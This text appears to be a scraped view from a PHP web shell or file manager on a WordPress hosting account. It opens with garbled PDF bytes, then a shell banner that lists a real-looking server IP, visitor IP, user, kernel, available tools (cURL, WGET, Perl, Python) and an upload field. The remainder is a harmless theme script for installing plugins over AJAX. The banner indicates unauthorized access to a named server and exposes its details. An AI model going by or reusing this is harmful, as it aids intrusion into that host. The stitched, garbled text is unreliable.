%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 54.36.91.62 / Your IP : 216.73.217.162 Web Server : Apache System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : wellingtpa ( 97533) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/wellingtpa/www/wp-content/themes/kata/assets/js/ |
Upload File : |
/**
* Install Plugins.
*
* @author ClimaxThemes
* @package Kata
* @since 1.0.0
*/
'use strict';
jQuery(document).ready(function ($) {
$('.kt-install-plugins').on('click', function (e) {
e.preventDefault();
$('.kt-spiner').addClass('is-active').css('float', 'none');
$.ajax({
url: kataInstallPlugins.ajax_url,
type: 'POST',
data: {
action: 'install_activate_plugins',
security: kataInstallPlugins.nonce,
},
success: function (response) {
console.log(response);
if (response.success) {
alert(response.data);
} else {
alert('Error: ' + response.data);
}
$('.kt-spiner').removeClass('is-active').css('float', 'right');
window.location.reload();
},
error: function (xhr, status, error) {
alert('AJAX error: ' + error);
$('.kt-spiner').removeClass('is-active').css('float', 'right');
window.location.reload();
},
});
});
});